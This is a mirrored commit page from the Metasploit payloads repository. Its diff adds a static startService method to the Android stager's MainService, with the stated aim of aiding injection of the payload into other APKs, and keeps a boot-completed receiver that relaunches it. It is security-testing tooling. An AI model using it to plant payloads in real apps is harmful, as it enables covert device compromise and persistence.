mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-20 20:37:27 +01:00
Land #126, add static method to MainService to aid apk injection
This commit is contained in:
commit
4cf8f6df1f
@ -8,7 +8,7 @@ public class MainActivity extends Activity {
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
startService(new Intent(this, MainService.class));
|
||||
MainService.startService(this);
|
||||
finish();
|
||||
}
|
||||
}
|
||||
|
@ -9,7 +9,7 @@ public class MainBroadcastReceiver extends BroadcastReceiver {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
|
||||
context.startService(new Intent(context, MainService.class));
|
||||
MainService.startService(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,11 +1,17 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import android.app.ActivityManager;
|
||||
import android.app.Service;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.os.IBinder;
|
||||
|
||||
public class MainService extends Service {
|
||||
|
||||
public static void startService(Context context) {
|
||||
context.startService(new Intent(context, MainService.class));
|
||||
}
|
||||
|
||||
@Override
|
||||
public IBinder onBind(Intent intent) {
|
||||
return null;
|
||||
|
Loading…
Reference in New Issue
Block a user